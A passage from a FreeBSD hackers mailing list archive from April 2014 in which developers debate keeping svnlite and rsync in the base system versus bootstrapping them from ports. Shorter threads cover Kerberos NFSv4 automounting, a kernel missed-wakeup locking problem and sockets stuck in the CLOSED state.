11 Apr 2014 18:55:14 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <53489CF9.70600@freebsd.org> Date: Sat, 12 Apr 2014 09:55:05 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Anton Afanasyev , Matthew Rezny Subject: Re: MITM attacks against portsnap and freebsd-update References: <2012148.SzKMgBGQYg@desktop.reztek> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 01:55:16 -0000 On 4/12/14, 5:20 AM, Anton Afanasyev wrote: > On Fri, Apr 11, 2014 at 11:04 AM, Matthew Rezny wrote: > >> The biggest effort would be adding rsync to base, but being that we have >> svn(lite) in base it should not be a big deal to add rsync. >> > I may be too naive and/or just not understand things as well as those who > do move code into base, so excuse my ignorance, but why was svnlite moved > into base, and why even consider moving rsync into base? > Sure, it is nice if the base includes everything needed to allow > development of it; it is also a must to be able to update and build your > ports. But why include tools that do this, rather than a bootstrap for > installing those tools? because historically, a base freebsd distribution is all you need to rebuild a base FreeBSD system from "CHECKED IN SOURCES". lot s of people have their environments set up assuming this is true. (me included). It's also a worry abotu wether one has ht eright version of SVN or whether you need some special version (we did at one stage)... this takes all the qustions out of it. I know .. Git-lovers are upset.. > For developing and updating base, why not include a script that fetches a > (sufficiently fresh) snapshot of the ports tree and let the user decide > whether they want to use svn or any other port to update their sources? If > it is deemed too large a download (a valid concern) - download only svn and > its dependencies, possibly even to a ports tree rooted in a location > different from /usr/ports, and build svn from that. > For keeping ports up to date, why not include a script that fetches a > (sufficiently fresh) copy of the ports tree and tell the user that the > preferred method to update is rsync; heck, create a port that uses rsync to > do what Matthew described above, and /offer/ to install it for the the user > from the tree that was just downloaded. > > Something along the lines of the above would completely remove the need to > keep unrelated code in base - and the need to keep it updated - , while > still allowing the end user to keep base and ports up to date. > > > Anton > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 10:32:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7652E617 for ; Sat, 12 Apr 2014 10:32:04 +0000 (UTC) Received: from mail-ig0-x232.google.com (mail-ig0-x232.google.com [IPv6:2607:f8b0:4001:c05::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 47CFD173C for ; Sat, 12 Apr 2014 10:32:04 +0000 (UTC) Received: by mail-ig0-f178.google.com with SMTP id hn18so1758521igb.11 for ; Sat, 12 Apr 2014 03:32:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=fdUsWszdEaEN8a6Sq+umqAV/ilw3qtVbExihh/MV92Q=; b=bWFeptydE8T0E8btOMTpO3DKqwrwUUZ49ofc0smycjz2F3WDLpo/mAW5ZeFKJISqgI lUBT64mCsr3i48hrWc6GzdXqIeyGUPLmQh4E9kypCo91SfekfrUuVOFUR856vBD0IHnY mrxnNnFK/udP9lJrREEE83cDItxKKNI2gLZ74VAa5o4x6K1xZPVNWhS3JRgSHgInp3Zr b+kMMof9oDAPT9ntneehqbRZQzdxEFv/9nRGLTfnJ7uscTdOs0UM07jk8+g+cHFcMOUU aZnK0jpOWNUH3f2uxiUzfAIozU1NBy3uBhyQRSC4TpZVK1lQcnmokAYVUXPWRV+4C/CI m8oQ== MIME-Version: 1.0 X-Received: by 10.50.119.132 with SMTP id ku4mr2705460igb.35.1397298723719; Sat, 12 Apr 2014 03:32:03 -0700 (PDT) Received: by 10.50.226.170 with HTTP; Sat, 12 Apr 2014 03:32:03 -0700 (PDT) Date: Sat, 12 Apr 2014 12:32:03 +0200 Message-ID: Subject: Accessing Kerberos NFS version 4 (not 2, 3) via /net automounter with kinit only (no /etc/krb5.conf access) From: Cedric Blancher To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: quoted-printable X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 10:32:04 -0000 How hard is it to do this with FreeBSD's NFSv4 implementation? Ced ---------- Forwarded message ---------- From: Wang Shouhua Date: Sat, Apr 12, 2014 at 11:24 AM Subject: Accessing Kerberos NFS version 4 (not 2, 3) via /net automounter with kinit only (no /etc/krb5.conf access) To: Kerberos@mit.edu Lets recap: 1. Requirements: - Linux or Solaris - NFS automounter set up at /net - Kerberos5 configured for realm EXAMPLE2.COM, rpc.gssd running - A NFS server (version 4 only) nfsserver.most.gov.cn exists in the realm MOST.GOV.CN, with a subdir of test3 2. Goal: A user provides his password to obtain a ticket for user2@MOST.GOV.CN (optionally nfs@MOST.GOV.CN, if this is a requirement to do a mount), and is then able to cd into /net/nfsserver.most.gov.cn/test3, and do a successful ls -al there Is that possible? Wang ---------- Forwarded message ---------- From: Will Fiveash Date: 11 April 2014 22:14 Subject: Re: Accessing Kerberos NFS via /net automounter with kinit only (no /etc/krb5.conf access) To: Wang Shouhua Cc: Kerberos@mit.edu On Tue, Apr 01, 2014 at 06:00:45PM +0200, Wang Shouhua wrote: > I am on Solaris 10U4 - can I access a NFS filesystem with (mandatory) > krb5p authentication via the Solaris /net automounter with kinit only, > without having r/w access to /etc/krb5.conf access)? You'll need to have Solaris krb configured which stores its config in /etc/krb5 not /etc as is the MIT default. You'll also need read access to /etc/krb5/krb5.conf and have the system properly configured to do NFS with krb in general (read the Solaris 10 online docs). Beyond that, whether a user kinit'ing is enough depends on which version of NFS you are using. On the client side NFSv3 sec=3Dkrb5p shares will automount if the user triggering the mount has a krb cred in their ccache (klist will show that) and does not require any keys in the system keytab nor does it require root to have a krb cred in general. NFSv4 on the other hand does require that the root on the NFS client system have a krb cred in its ccache. This can be done either by running kinit as root or having at least one set of keys for either the root/ or host/ service princ in the system keytab which will be automatically used to acquire a krb cred for root. On the client system "nfsstat -m" will show what version of NFS is being used. -- Will Fiveash Oracle Solaris Software Engineer -- Wang Shouhua - shouhuaw@gmail.com =D6=D0=BB=AA=C8=CB=C3=F1=B9=B2=BA=CD=B9=FA=BF=C6=D1=A7=BC=BC=CA=F5=B2=BF - = HTTP://WWW.MOST.GOV.CN ________________________________________________ Kerberos mailing list Kerberos@mit.edu https://mailman.mit.edu/mailman/listinfo/kerberos --=20 Cedric Blancher Institute Pasteur From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 11:49:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 74FB474E; Sat, 12 Apr 2014 11:49:05 +0000 (UTC) Received: from mail-ee0-x235.google.com (mail-ee0-x235.google.com [IPv6:2a00:1450:4013:c00::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B40AC1CEF; Sat, 12 Apr 2014 11:49:04 +0000 (UTC) Received: by mail-ee0-f53.google.com with SMTP id b57so4908255eek.40 for ; Sat, 12 Apr 2014 04:49:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=N3JqdEjND7Lpk27VD8hWbhznsqNt5dvPqpP2PR6VA8w=; b=UW6EwKK7HpM1j3ZglD8kwC+aVQ+sV4IC4u6W1zsjiPZN8/iXTOjG0nqF3NfotOaquL K/0fZLYvmqSDybhO8M2j3oFNe2ugwrCbMsl+/F/u/NXAyZ7pgfUR1RNeCken38c3Bu34 JXvFCnVRh52vBz/6a/SJFqT8kuwTqxfoRsPVjqApL07WENwLqDZTh8dZNko19GC133d0 QzjpHfZaHnePGWTwU0yXYsJjMS1JXr2lMKfnBNl9kkoSLH8As3PXYfUaGsGaee/olKSf RQ8d0tku2l7EzE6kGwz9jcrNwMe0Kw7jPnDQmjcjXxyBCtL5gh4oSOvVhEhQmsbkH/oV 9VrQ== X-Received: by 10.15.54.137 with SMTP id t9mr36638326eew.39.1397303343092; Sat, 12 Apr 2014 04:49:03 -0700 (PDT) Received: from strashydlo.home (aebc231.neoplus.adsl.tpnet.pl. [79.186.28.231]) by mx.google.com with ESMTPSA id m44sm24829529eep.14.2014.04.12.04.49.01 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 12 Apr 2014 04:49:02 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: Multiple locks and missing wakeup. Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <201404081412.10066.jhb@freebsd.org> Date: Sat, 12 Apr 2014 13:48:59 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: <418DC7A6-443C-4494-AFDB-1358F63564DE@freebsd.org> References: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> <201404081001.31219.jhb@freebsd.org> <201404081412.10066.jhb@freebsd.org> To: John Baldwin X-Mailer: Apple Mail (2.1283) Cc: freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 11:49:05 -0000 Wiadomo=B6=E6 napisana przez John Baldwin w dniu 8 kwi 2014, o godz. = 20:12: > On Tuesday, April 08, 2014 12:45:49 pm Edward Tomasz Napiera=B3a = wrote: >> Wiadomo=B6=E6 napisana przez John Baldwin w dniu 8 kwi 2014, o godz. = 16:01: >>=20 >>> On Tuesday, April 08, 2014 2:34:30 am Edward Tomasz Napiera=B3a = wrote: >>>> Let's say I have a kernel thread processing elements from a queue, >>>> sleeping until there is work to do; something like this: >>>>=20 >>>> mtx_lock(&mtx1); >>>> for (;;) { >>>> while (!LIST_EMPTY(&list1)) { >>>> elt =3D LIST_FIRST(&list1); >>>> do_stuff(elt); >>>> LIST_REMOVE(&list1, elt); >>>> } >>>> sleep(&list1, &mtx1); >>>> } >>>> mtx_unlock(&mtx1); >>>>=20 >>>> Now, is there some way to make it work with two lists, protected >>>> by different mutexes? The mutex part is crucial here; the whole >>>> point of this is to reduce lock contention on one of the lists. = The >>>> following code would result in a missing wakeup: >>>=20 >>> All our sleep primitives in the kernel only accept a single wait = channel. >>> It sounds like you want something more like select() or poll() where = you >>> can specify multiple wait channels. There isn't a good way to do = that >>> currently. You could write one, but it would be a bit hard to do >>> correctly. >>=20 >> Perhaps I should have been more clear: I'm ok with a single wait >> channel. The problem is that there is no way to pass more than one >> mutex to the sleep() function, so we can miss wakeup for the list >> protected by the second lock, if something gets enqueued between >> releasing mtx2 and calling sleep(). >>=20 >>> In practice you'd end up implementing something that boiled >>> down to having a single wait channel with a common lock that = protected >>> it so you could do something like: >>=20 >> The whole purpose of this is to avoid locking mtx1 in the the enqueue >> routine for the second list, for contention reasons. >=20 > Ah, but note that I didn't lock mtx1 in the enqueue routine, I marked > the 'combo_mtx' which is only used for the sleep/wakeup. Ah, now I get it. Nifty! From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 03:59:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E35D51C5; Sat, 12 Apr 2014 03:59:47 +0000 (UTC) Received: from mail-qg0-x22d.google.com (mail-qg0-x22d.google.com [IPv6:2607:f8b0:400d:c04::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 77F941356; Sat, 12 Apr 2014 03:59:47 +0000 (UTC) Received: by mail-qg0-f45.google.com with SMTP id j5so6277754qga.18 for ; Fri, 11 Apr 2014 20:59:46 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=5kO99zc/VgBqyQQIAA7HpzOlnY0eemw4EzbPFYk3KlE=; b=alB+i/ovv/DEdyWlawVDMgoouwqqXwDy4GGgOlkGVnvtYtxGgsgEfLVdczDZRjWCby XbwXxWQWL64A1jO769OWdVzcnH5R+xJolv6GcGztanQJ/gV2/Xd56GB8YAEkj/+C3Q59 qQaSAiJ8tJZBS5XhAJQg5nXXy1FGRrnHggHH7LbD5lOfSxhA1jHAfaTYljaQcfxe1shX J/gv7jSmWIQoMXcMDEGVTWxhbKdezt4/Zjq3hfMFS8XdXSYxsNg6YaFfPSdPcXf1F6Ez uGGcFrrg198B86bW+Lq+JSdAgI06VFy959AcLEFdEoLNZ4JNK+IMKNgT23x9NJ22M6Pn p0hA== X-Received: by 10.224.65.67 with SMTP id h3mr3750755qai.43.1397275186621; Fri, 11 Apr 2014 20:59:46 -0700 (PDT) MIME-Version: 1.0 Received: by 10.229.72.131 with HTTP; Fri, 11 Apr 2014 20:59:26 -0700 (PDT) In-Reply-To: <53489CF9.70600@freebsd.org> References: <2012148.SzKMgBGQYg@desktop.reztek> <53489CF9.70600@freebsd.org> From: Anton Afanasyev Date: Fri, 11 Apr 2014 20:59:26 -0700 Message-ID: Subject: Re: MITM attacks against portsnap and freebsd-update To: Julian Elischer X-Mailman-Approved-At: Sat, 12 Apr 2014 12:04:33 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: Matthew Rezny , freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 03:59:48 -0000 On Fri, Apr 11, 2014 at 6:55 PM, Julian Elischer wrote: > lot s of people have their environments set up assuming this is true. > (me included). It's also a worry abotu wether one has ht eright version of > SVN > or whether you need some special version (we did at one stage)... this > takes all > the qustions out of it. That makes sense. But it seems to me that having extra tools like SVN and rsync in the base, and having to keep them updated, is more trouble than using an extra script to let you install those utilities from ports. I know .. Git-lovers are upset.. > Was this addressed to me, or just a general rant/reference that I did not understand? Anton From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 11:20:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D0868E8D for ; Sat, 12 Apr 2014 11:20:49 +0000 (UTC) Received: from mail.modirum.com (mail.modirum.com [31.185.27.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 60DE81A7F for ; Sat, 12 Apr 2014 11:20:48 +0000 (UTC) Received: from 93-153-61-159.tmcz.cz ([93.153.61.159] helo=desktop.reztek) by mail.modirum.com with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.80.1 (FreeBSD)) (envelope-from ) id 1WYvzI-000LuG-VB; Sat, 12 Apr 2014 11:20:45 +0000 From: Matthew Rezny To: freebsd-hackers@freebsd.org Subject: Re: MITM attacks against portsnap and freebsd-update Date: Sat, 12 Apr 2014 13:20:43 +0200 Message-ID: <1637622.xYKOVe0B9t@desktop.reztek> Organization: RezTek, s.r.o. User-Agent: KMail/4.12.3 (FreeBSD/10.0-STABLE; KDE/4.12.3; amd64; ; ) In-Reply-To: References: <2012148.SzKMgBGQYg@desktop.reztek> MIME-Version: 1.0 Content-Transfer-Encoding: 7Bit Content-Type: text/plain; charset="us-ascii" X-SA-Authenticated: Yes X-SA-Exim-Connect-IP: 93.153.61.159 X-SA-Exim-Mail-From: matthew@reztek.cz X-SA-Exim-Scanned: No (on mail.modirum.com); SAEximRunCond expanded to false X-Mailman-Approved-At: Sat, 12 Apr 2014 12:05:15 +0000 Cc: Anton Afanasyev X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 11:20:50 -0000 On Friday 11 April 2014 14:20:18 Anton Afanasyev wrote: > On Fri, Apr 11, 2014 at 11:04 AM, Matthew Rezny wrote: > > The biggest effort would be adding rsync to base, but being that we have > > svn(lite) in base it should not be a big deal to add rsync. > > I may be too naive and/or just not understand things as well as those who > do move code into base, so excuse my ignorance, but why was svnlite moved > into base, and why even consider moving rsync into base? > Sure, it is nice if the base includes everything needed to allow > development of it; it is also a must to be able to update and build your > ports. But why include tools that do this, rather than a bootstrap for > installing those tools? There is a strong feeling that the base OS should be 'complete', which includes the ability to update and rebuild the entire base OS (world). It was not always possible to fetch updates with just base components, but since csup had been in the base for some years, many users had come to expect that ability. When CVS was retired, this expectation generated lengthy discussion on the MLs. Before the inclusion of svnlite in 10, someone put a good deal of effort into a svnup tool that worked more similarly to csup. While I applaud its author for the effort, I found it to be unreliable; it crashed several times before getting a full checkout, then could never update the tree without crashing, and of course it still had the same issue of clobbering local changes just as c(v)sup had done. Shortly after I setup a local svn mirror with the intent to use rsync for local distribution within my LAN, I got wind of svnlite coming in 10 and so I jumped straight to that. Checkout from local mirror is MUCH faster than from the official repos (with so many small files, the latency across the WAN results in more time spent waiting between files than actually transferring file contents), so it was still a worthwhile exercise. > For developing and updating base, why not include a script that fetches a > (sufficiently fresh) snapshot of the ports tree and let the user decide > whether they want to use svn or any other port to update their sources? If > it is deemed too large a download (a valid concern) - download only svn and > its dependencies, possibly even to a ports tree rooted in a location > different from /usr/ports, and build svn from that. > For keeping ports up to date, why not include a script that fetches a > (sufficiently fresh) copy of the ports tree and tell the user that the > preferred method to update is rsync; heck, create a port that uses rsync to > do what Matthew described above, and /offer/ to install it for the the user > from the tree that was just downloaded. > > Something along the lines of the above would completely remove the need to > keep unrelated code in base - and the need to keep it updated - , while > still allowing the end user to keep base and ports up to date. > > > Anton You have made a most excellent suggestion that had not crossed my mind. Due to the aforementioned discussions, I had it stuck in my head that the tools must be in base. However, pkg(ng) has set precedence with the bootstrap in base which installs the pkg package. Since I always install a ports tree and update it before any ports, and I don't use binary packages (yet, local poudriere is still on my TODO list), I have been getting pkg via the install of portmaster (the first port I install) and thus have never used the bootstrapper. The bootstrap idea is great as it allows more flexibility and rapid development (which is exactly the reason pkg is done the way it is). Svnlite will still be around for those that must use only tools in base. Since this is a proposed portsnap replacement, that would also be capable of doing the base src as a bonus, there is really no reason it can't be a tool that lives in ports with a handy bootstrap in base. The bootstrap could simply be a sh script which uses fetch to fetch the tar.xz files via ftp/http(s), verify hashes, decompress into an appropriate staging area (/var/portsync), verify hashes of the tar files, then extract to /usr/src and/or /usr/ports. There could then be a port, say port-mgmt/portsync, which implements the update functionality. Installation of this port could pull in rsync as a dep. Since it is in ports, the full portsync could be written in Python (that would be my choice as my sh-fu is weak) without waiting for Python to maybe if ever make it's way into base. The portsync.sh in base could automatically invoke portsync.py if present. I think I just added one more thing to my lengthy TODO list... DOH! (from later in the thread) > > I know .. Git-lovers are upset.. > > Was this addressed to me, or just a general rant/reference that I did not > understand? I don't think that was directed at anyone in particular, but there were numerous requests to forget SVN and use git, apparently not realizing that SVN had been used for src for years and CVS was merely a (hackish) export from there. Git's decentralized nature does not fit well with the project's needs. It just does not work well for maintaining a single, central authoritative repo that is the one truth. Those who wish to use git for their local hacking can do so as git allows checkout from SVN to initialize a local repo, and they can generate diffs to submit back to our central repo. Also, it has been my experience on projects with many fewer developers, that not only is git a nightmare of merge races, but its inability to track changes on a per file basis within a changeset puts it on par with CVS (if not worse, in that sometimes its diff output outright lies about the progeny of a change). From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 12:33:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4DC7B95E for ; Sat, 12 Apr 2014 12:33:57 +0000 (UTC) Received: from mout.gmx.net (mout.gmx.net [212.227.15.18]) (using TLSv1.2 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "mout.gmx.net", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DD72212A0 for ; Sat, 12 Apr 2014 12:33:56 +0000 (UTC) Received: from [157.181.96.215] ([157.181.96.215]) by mail.gmx.com (mrgmx003) with ESMTPSA (Nemesis) id 0MVdfD-1WTl0V3pBX-00YzQy for ; Sat, 12 Apr 2014 14:33:49 +0200 Message-ID: <534932A8.6040801@gmx.com> Date: Sat, 12 Apr 2014 14:33:44 +0200 From: dt71@gmx.com User-Agent: Mozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: MITM attacks against portsnap and freebsd-update References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:gjLGOz68E7D4cMKKclwv9rsPHy3FVDxQrRFViD5KinuT7DJmW+l V7EW7vtBMC9DJB0wyr6N8s4RSkQZD8dfeOPge2baiEr02zkAo9KhXRmesBtRn8ayT5zchhF kvRqFohO5fzLtOFOmnE2lXvp8ssBjwROIh/YhPUbhw/gNjpGPV3C42hLZHNL6ga+rF0X+Vd XDfA2iCTA7o3vvJ6BGE4A== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 12:33:57 -0000 David Noel wrote, On 04/10/2014 19:03: > The reason I see for it to be retired is that subversion allows us to > easily and securely check out the ports tree. It's a one-line command: > `svn co https://...`. Keeping it up-to-date it is another one-liner: > `cd /usr/ports; svn update`. With the inclusion of svnlite in base, > the portsnap code and servers acting as mirrors become redundant and > seem like a waste of resources. One-liners are also sufficient for Portsnap. Subversion, due to its scheme of keeping an uncompressed copy of each file in .svn trees, wastes ~410MiB of disk space (for ports; additionally, ~820MiB for src) for users who only want to build ports from source, not develop; whereas Portsnap wastes only ~140MiB. Subversion is more of a resource strain on both clients and servers. From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 15:52:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 239BEF71 for ; Sat, 12 Apr 2014 15:52:20 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [IPv6:2a01:4f8:131:60a2::2]) by mx1.freebsd.org (Postfix) with ESMTP id DD31014A2 for ; Sat, 12 Apr 2014 15:52:19 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:38fe:bc98:65e7:fb6b]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id 342514AC1C; Sat, 12 Apr 2014 19:52:12 +0400 (MSK) Date: Sat, 12 Apr 2014 19:51:35 +0400 From: Lev Serebryakov Organization: FreeBSD X-Priority: 3 (Normal) Message-ID: <112395541.20140412195135@serebryakov.spb.ru> To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... In-Reply-To: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 15:52:20 -0000 Hello, Karl. You wrote 2 =D0=B0=D0=BF=D1=80=D0=B5=D0=BB=D1=8F 2014 =D0=B3., 18:30:06: KP> It's affecting a number of people - predominately with sshd. I've got problem like this with "transmission-daemon" from ports today. "netstat" shows 300+ CLOSED tcp sockets for more than hour, kernel complains about overflowed accept queue, and I was not able to kill "transmission-daemon", even reboot process doesn't help (it stuck for more than hour, again, and then I used power switch, what led to destruction of all mu UFS2 SUJ filesystems, which is different story. But, again, it started from stuck network daemon and 300+ CLOSED tcp4/tcp6 sockets. So, maybe, it is not sshd-specific. I'm using 10-STABLE r263965. --=20 // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 12 16:06:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 937BA3BE for ; Sat, 12 Apr 2014 16:06:42 +0000 (UTC) Received: from mail-la0-x22f.google.com (mail-la0-x22f.google.com [IPv6:2a00:1450:4010:c03::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1F87015BE for ; Sat, 12 Apr 2014 16:06:41 +0000 (UTC) Received: by mail-la0-f47.google.com with SMTP id pn19so4393793lab.6 for ; Sat, 12 Apr 2014 09:06:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:cc :content-type; bh=eDwGCJrI3o00WU4/0No0tbb7deVVUcvQU9RHJE6/Qec=; b=R7ivLwgycudnqSjCdfqda9XQB0ohfxdrhvq6ltnJsHKQZoTXKqCv2x+w6nDyRSz65Y RgCQmo/XKg0aZW0SjZdVLJpQl+KlPKw4fFRvVKL+SlVVvkxh21DtO+OaW3eANSFdkTTL 5a64qPTO9tgLHm5/7uoXHi41iPrfz8hSuq1LnWjalLgYXNxGZvihKyx4LI09KNKSNPPa d2s7/loGMR9nvxQEReeo4y1eqa+GYoKZDu0iFjOxnqJm04kdrY5isuLNt8aJd+RHdWx4 FIhWEKgJ3sR+H8mPw355Xqd2bftWkO2HdeFXDV65Hz0VMYpL3f2DvAssGD+3w6TceFGq cBwQ== MIME-Version: 1.0 X-Received: by 10.112.221.227 with SMTP id qh3mr63388lbc.55.1397318799936; Sat, 12 Apr 2014 09:06:39 -0700 (PDT) Received: by 10.112.129.164 with HTTP; Sat, 12 Apr 2014 09:06:39 -0700 (PDT) In-Reply-To: <534932A8.6040801@gmx.com> References: <534932A8.6040801@gmx.com> Date: Sat, 12 Apr 2014 17:06:39 +0100 Message-ID: Subject: Re: MITM attacks against portsnap and freebsd-update From: Tom Evans Cc: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Apr 2014 16:06:42 -0000 On Sat, Apr 12, 2014 at 1:33 PM, wrote: > Subversion, due to its scheme of keeping an uncompressed copy of each file > in .svn trees, wastes ~410MiB of disk space (for ports; additionally, > ~820MiB for src) for users who only want to build ports from source, not > develop; whereas Portsnap wastes only ~140MiB. > > Subversion is more of a resource strain on both clients and servers. Different people want different things. I would prefer to see a tool in base, eg freebsd-update, taught how to use both methods. This would allow the 